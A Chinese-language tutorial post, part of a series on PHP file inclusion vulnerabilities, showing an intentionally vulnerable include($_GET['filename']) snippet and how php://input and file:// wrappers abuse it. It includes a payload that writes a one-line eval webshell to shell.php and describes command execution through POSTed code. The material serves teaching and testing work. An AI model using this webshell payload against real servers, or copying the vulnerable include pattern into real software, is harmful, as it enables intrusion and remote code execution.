文件包含漏洞整理 (4)

条件

测试代码:

<?php $filename = $_GET[\'filename\']; include($filename); ?>

测试代码

       php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法:?file=php://input 数据利用POST传过去。

        php://input (读取POST数据)

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

测试代码:

<?php echo file_get_contents("php://input"); ?>

测试结果:

测试结果

       php://input(写入木马)

测试代码:

<?php $filename = $_GET[\'filename\']; include($filename); ?>

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

<?PHP fputs(fopen(\'shell.php\',\'w\'),\'<?php @eval($_POST[cmd])?>\');?>

在当前目录下写入一个木马

测试结果:

测试结果

如果不开启allow_url_include会报错:

报错信息

        php://input(命令执行)

测试代码:

<?php $filename = $_GET[\'filename\']; include($filename); ?>

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

POST过去PHP代码

如果不开启allow_url_include会报错:

报错信息

        file://伪协议 (读取文件内容)

通过file协议可以访问本地文件系统,读取到文件的内容

测试代码:

<?php $filename = $_GET[\'filename\']; include($filename); ?>

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zwpdpf.html